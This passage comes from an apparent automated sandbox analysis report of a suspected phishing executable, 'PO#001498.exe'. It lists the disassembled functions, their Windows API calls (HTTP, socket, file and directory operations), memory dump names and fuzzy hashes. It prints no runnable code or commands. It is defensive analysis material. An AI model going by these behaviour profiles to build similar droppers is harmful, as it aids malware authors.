                                                                                                                                                                                                        • Opcode Fuzzy Hash: 621277f82d70151dd5f553487d646ea3797e8fa9e9e6e4ab5ab83039983e6254
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 7B116971790704B7F620AB958C8AF5A7399EF88B11F20080DF790AB1C1C9F5E4418B7C
                                                                                                                                                                                                        Function 0045427D Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 259libraryloaderCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: AddressProc_malloc$_strcat_strlen
                                                                                                                                                                                                        • String ID: AU3_FreeVar
                                                                                                                                                                                                        • API String ID: 2184576858-771828931
                                                                                                                                                                                                        • Opcode ID: 111e65442873bd7cbffe48700b84114c079de58427b558a04ef4a5d95244f0f0
                                                                                                                                                                                                        • Instruction ID: c940ad03d776ce5ee908f8b881b33357b51647545ffc53e819ca791e1fdac2da
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 111e65442873bd7cbffe48700b84114c079de58427b558a04ef4a5d95244f0f0
                                                                                                                                                                                                        • Instruction Fuzzy Hash: EDA18DB5604205DFC300DF59C480A2AB7E5FFC8319F1489AEE9554B362D739ED89CB8A
                                                                                                                                                                                                        Function 0044AA1F Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 171networkCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 0044AA5A
                                                                                                                                                                                                        • HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 0044AA8D
                                                                                                                                                                                                        • InternetQueryOptionW.WININET(00000000,0000001F,?,?), ref: 0044AAF9
                                                                                                                                                                                                        • InternetSetOptionW.WININET(00000000,0000001F,?,00000004), ref: 0044AB11
                                                                                                                                                                                                        • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0044AB20
                                                                                                                                                                                                        • HttpQueryInfoW.WININET(00000000,00000005,?,00000000,00000000), ref: 0044AB61
                                                                                                                                                                                                          • Part of subcall function 0044286A: GetLastError.KERNEL32(00000000,0044AA07,?,00000000,00000000,00000001,?,?), ref: 00442880
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: HttpInternet$OptionQueryRequest$ConnectErrorInfoLastOpenSend
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1291720006-3916222277
                                                                                                                                                                                                        • Opcode ID: fd0d9a71f1b9f9aed2e07c44adb1cce69882d59a8a6dee97d1abd644e851efd9
                                                                                                                                                                                                        • Instruction ID: 782b6278bf246bef60821ca34847c3ce69a0d92f774604c9678bedd135ce19ea
                                                                                                                                                                                                        • Opcode Fuzzy Hash: fd0d9a71f1b9f9aed2e07c44adb1cce69882d59a8a6dee97d1abd644e851efd9
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 9C51E6B12803016BF320EB65CD85FBBB7A8FB89704F00091EF74196181D7B9A548C76A
                                                                                                                                                                                                        Function 0046BB59 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 168networkCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ErrorLastselect
                                                                                                                                                                                                        • String ID: HH
                                                                                                                                                                                                        • API String ID: 215497628-2761332787
                                                                                                                                                                                                        • Opcode ID: 81123ba87c51c271d749794d4387e1d0575ba96382d8685f9443cecf8545e782
                                                                                                                                                                                                        • Instruction ID: a252b81ccbce03d1e7b1b0efababa2c0a0929072778302a7b1202b90a7697d70
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 81123ba87c51c271d749794d4387e1d0575ba96382d8685f9443cecf8545e782
                                                                                                                                                                                                        • Instruction Fuzzy Hash: BF51E4726043005BD320EB65DC42F9BB399EB94324F044A2EF558E7281EB79E944C7AA
                                                                                                                                                                                                        Function 0047D2F8 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 162COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: __snwprintf__wcsicoll_wcscpy
                                                                                                                                                                                                        • String ID: , $$0vH$AUTOITCALLVARIABLE%d$CALLARGARRAY
                                                                                                                                                                                                        • API String ID: 1729044348-3708979750
                                                                                                                                                                                                        • Opcode ID: 19d8c814bf70bb05cadf871115a188aa6336bc7b5c41e4e48777219efcb9f973
                                                                                                                                                                                                        • Instruction ID: 823d0c4529048d9f890bbf28e75db1a658c609af9319d28fcdda535ef0d13f31
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 19d8c814bf70bb05cadf871115a188aa6336bc7b5c41e4e48777219efcb9f973
                                                                                                                                                                                                        • Instruction Fuzzy Hash: E651A571514300ABD610EF65C882ADFB3A4EFC4348F048D2FF54967291D779E949CBAA
                                                                                                                                                                                                        Function 0044BBC9 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 100filestringCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 0040FFB0: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\PO#001498.exe,?,C:\Users\user\Desktop\PO#001498.exe,004A8E80,C:\Users\user\Desktop\PO#001498.exe,0040F3D2), ref: 0040FFCA
                                                                                                                                                                                                        • lstrcmpiW.KERNEL32(?,?), ref: 0044BC04
                                                                                                                                                                                                        • MoveFileW.KERNEL32(?,?), ref: 0044BC38
                                                                                                                                                                                                        • _wcscat.LIBCMT ref: 0044BCAA
                                                                                                                                                                                                        • _wcslen.LIBCMT ref: 0044BCB7
                                                                                                                                                                                                        • _wcslen.LIBCMT ref: 0044BCCB
                                                                                                                                                                                                        • SHFileOperationW.SHELL32 ref: 0044BD16
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: File_wcslen$FullMoveNameOperationPath_wcscatlstrcmpi
                                                                                                                                                                                                        • String ID: \*.*
                                                                                                                                                                                                        • API String ID: 2326526234-1173974218
                                                                                                                                                                                                        • Opcode ID: 79917c867e5dc746cbfe3ebb0135d92afbab4952e7fca4f485a184e9ce72b521
                                                                                                                                                                                                        • Instruction ID: 9e4979448571685848097db6772507fbfe8bfb8d1337cd0032b1ea927bdad9db
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 79917c867e5dc746cbfe3ebb0135d92afbab4952e7fca4f485a184e9ce72b521
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 4B3183B14083019AD724EF21C5D5ADFB3E4EFC8304F444D6EB98993251EB39E608D7AA
                                                                                                                                                                                                        Function 004366BE Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 90COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 00436328: _wcsncpy.LIBCMT ref: 0043633C
                                                                                                                                                                                                        • _wcslen.LIBCMT ref: 004366DD
                                                                                                                                                                                                        • GetFileAttributesW.KERNEL32(?), ref: 00436700
                                                                                                                                                                                                        • GetLastError.KERNEL32 ref: 0043670F
                                                                                                                                                                                                        • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 00436727
                                                                                                                                                                                                        • _wcsrchr.LIBCMT ref: 0043674C
                                                                                                                                                                                                          • Part of subcall function 004366BE: CreateDirectoryW.KERNEL32(?,00000000,?,00000000,00000000), ref: 0043678F
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CreateDirectory$AttributesErrorFileLast_wcslen_wcsncpy_wcsrchr
                                                                                                                                                                                                        • String ID: \
                                                                                                                                                                                                        • API String ID: 321622961-2967466578
                                                                                                                                                                                                        • Opcode ID: 3d3187412736f1559758a6cd6e40f0a594bd5d43c4c9ea1cccac3023e941b0f8
                                                                                                                                                                                                        • Instruction ID: 68cadaa88695c7c006562ade17844284f7fc34f8e7e15af3b97584e331f528d6
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 3d3187412736f1559758a6cd6e40f0a594bd5d43c4c9ea1cccac3023e941b0f8
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 3C2148765003017ADB20A724EC47AFF33989F95764F90993EFD14D6281E779950882AE
                                                                                                                                                                                                        Function 0044C80C Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 83COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: __wcsnicmp
                                                                                                                                                                                                        • String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
                                                                                                                                                                                                        • API String ID: 1038674560-2734436370
                                                                                                                                                                                                        • Opcode ID: dc7e98e38d8725b7134af3b864f32bf76aed1b78794146943df9d66deb8fb3e7
                                                                                                                                                                                                        • Instruction ID: f72ce1d64a5a3b865947b719243e4701f1ba8c8209579f194a7ae3ad15c73224
                                                                                                                                                                                                        • Opcode Fuzzy Hash: dc7e98e38d8725b7134af3b864f32bf76aed1b78794146943df9d66deb8fb3e7
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 1B21F87261161067E730B659DCC2BDB63985F65305F04406BF800AA247D6ADA98A83AA
                                                                                                                                                                                                        Function 00441561 Relevance: 12.1, APIs: 8, Instructions: 101windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • DeleteObject.GDI32(?), ref: 0044157D
                                                                                                                                                                                                        • GetDC.USER32(00000000), ref: 00441585
                                                                                                                                                                                                        • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00441590
                                                                                                                                                                                                        • ReleaseDC.USER32(00000000,00000000), ref: 0044159B
                                                                                                                                                                                                        • CreateFontW.GDI32(?,00000000,00000000,00000000,?,000000FF,000000FF,000000FF,00000001,00000004,00000000,?,00000000,00000000), ref: 004415E9
                                                                                                                                                                                                        • SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00441601
                                                                                                                                                                                                        • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00441639
                                                                                                                                                                                                        • SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00441659
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3864802216-0
                                                                                                                                                                                                        • Opcode ID: ea0a3e179a2db4f205f3d0bf310cedd64f619745dcd59731a2847991c922bb1b
                                                                                                                                                                                                        • Instruction ID: 4e191e68d33858d232da06d8f8bca50b2e2c885119a5133d865ec5329e905ca2
                                                                                                                                                                                                        • Opcode Fuzzy Hash: ea0a3e179a2db4f205f3d0bf310cedd64f619745dcd59731a2847991c922bb1b
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 1531C172240344BBE7208B14CD49FAB77EDEB88B15F08450DFB44AA2D1DAB4ED808B64
                                                                                                                                                                                                        Function 004140DB Relevance: 12.0, APIs: 8, Instructions: 42threadCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • ___set_flsgetvalue.LIBCMT ref: 004140E1
                                                                                                                                                                                                          • Part of subcall function 00416A84: TlsGetValue.KERNEL32(00411739,00416C10,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416A8D
                                                                                                                                                                                                          • Part of subcall function 00416A84: __decode_pointer.LIBCMT ref: 00416A9F
                                                                                                                                                                                                          • Part of subcall function 00416A84: TlsSetValue.KERNEL32(00000000,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416AAE
                                                                                                                                                                                                        • ___fls_getvalue@4.LIBCMT ref: 004140EC
                                                                                                                                                                                                          • Part of subcall function 00416A64: TlsGetValue.KERNEL32(?,?,004140F1,00000000), ref: 00416A72
                                                                                                                                                                                                        • ___fls_setvalue@8.LIBCMT ref: 004140FF
                                                                                                                                                                                                          • Part of subcall function 00416AB8: __decode_pointer.LIBCMT ref: 00416AC9
                                                                                                                                                                                                        • GetLastError.KERNEL32(00000000,?,00000000), ref: 00414108
                                                                                                                                                                                                        • ExitThread.KERNEL32 ref: 0041410F
                                                                                                                                                                                                        • GetCurrentThreadId.KERNEL32 ref: 00414115
                                                                                                                                                                                                        • __freefls@4.LIBCMT ref: 00414135
                                                                                                                                                                                                        • __IsNonwritableInCurrentImage.LIBCMT ref: 00414148
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Value$CurrentThread__decode_pointer$ErrorExitImageLastNonwritable___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1925773019-0
                                                                                                                                                                                                        • Opcode ID: 78c5a7e04feddb60afef3bdf2204f5ea6d2fca564e255d6fa6df859771c1ea47
                                                                                                                                                                                                        • Instruction ID: d0499dd1a11a7aa3f5f6b81cdb2be0183561266298d4129ec5ef95b8f2f1ff50
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 78c5a7e04feddb60afef3bdf2204f5ea6d2fca564e255d6fa6df859771c1ea47
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 12018430000200ABC704BFB2DD0D9DE7BA9AF95345722886EF90497212DA3CC9C28B5C
                                                                                                                                                                                                        Function 004357AD Relevance: 12.0, APIs: 8, Instructions: 36COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • VariantClear.OLEAUT32(00000038), ref: 004357C3
                                                                                                                                                                                                        • VariantClear.OLEAUT32(00000058), ref: 004357C9
                                                                                                                                                                                                        • VariantClear.OLEAUT32(00000068), ref: 004357CF
                                                                                                                                                                                                        • VariantClear.OLEAUT32(00000078), ref: 004357D5
                                                                                                                                                                                                        • VariantClear.OLEAUT32(00000088), ref: 004357DE
                                                                                                                                                                                                        • VariantClear.OLEAUT32(00000048), ref: 004357E4
                                                                                                                                                                                                        • VariantClear.OLEAUT32(00000098), ref: 004357ED
                                                                                                                                                                                                        • VariantClear.OLEAUT32(000000A8), ref: 004357F6
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ClearVariant
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1473721057-0
                                                                                                                                                                                                        • Opcode ID: 108e33c2045b04221b4df3f02cd388125a51a7e0134505e60bdc817f2fb2f336
                                                                                                                                                                                                        • Instruction ID: 4669651a97e20320d925a323ac357da1b1419afffb7c9eb93274aad60c959a81
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 108e33c2045b04221b4df3f02cd388125a51a7e0134505e60bdc817f2fb2f336
                                                                                                                                                                                                        • Instruction Fuzzy Hash: BDF03CB6400B446AC235EB79DC40BD7B7E86F89200F018E1DE58783514DA78F588CB64
                                                                                                                                                                                                        Function 00464A0E Relevance: 10.8, APIs: 7, Instructions: 281networkmemoryCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • WSAStartup.WSOCK32(00000101,?,?), ref: 00464ADE
                                                                                                                                                                                                          • Part of subcall function 0045EFE7: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,0047D14B,?,?,?,?), ref: 0045F003
                                                                                                                                                                                                        • inet_addr.WSOCK32(?,00000000,?,?,00000101,?,?), ref: 00464B1F
                                                                                                                                                                                                        • gethostbyname.WSOCK32(?,?,00000000,?,?,00000101,?,?), ref: 00464B29
                                                                                                                                                                                                        • _memset.LIBCMT ref: 00464B92
                                                                                                                                                                                                        • GlobalAlloc.KERNEL32(00000040,00000040), ref: 00464B9E
                                                                                                                                                                                                        • GlobalFree.KERNEL32(00000000), ref: 00464CDE
                                                                                                                                                                                                        • WSACleanup.WSOCK32 ref: 00464CE4
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Global$AllocByteCharCleanupFreeMultiStartupWide_memsetgethostbynameinet_addr
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3424476444-0
                                                                                                                                                                                                        • Opcode ID: 3a9821fb802cba04523fcb9c1f83c74fd5b22343f7d4654d6e4056c4a41f6a01
                                                                                                                                                                                                        • Instruction ID: 8d90feaebe95447676150adcea4a136074f650e12d33839f26a9dde16614cdb7
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 3a9821fb802cba04523fcb9c1f83c74fd5b22343f7d4654d6e4056c4a41f6a01
                                                                                                                                                                                                        • Instruction Fuzzy Hash: A3A17EB1504300AFD710EF65C982F9BB7E8AFC8714F54491EF64497381E778E9058B9A
                                                                                                                                                                                                        Function 00440B39 Relevance: 10.8, APIs: 7, Instructions: 261COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetSystemMetrics.USER32(0000000F), ref: 00440B7B
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MetricsSystem
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 4116985748-0
                                                                                                                                                                                                        • Opcode ID: eff4c90f3403bcfb76001cffaab33834930133fcb34fa8184a7caea4de8066d9
                                                                                                                                                                                                        • Instruction ID: 1e23dbab6d9439f1299be2c39bdf7de0481ead398f869a6d5eaf0ea33fa99bdf
                                                                                                                                                                                                        • Opcode Fuzzy Hash: eff4c90f3403bcfb76001cffaab33834930133fcb34fa8184a7caea4de8066d9
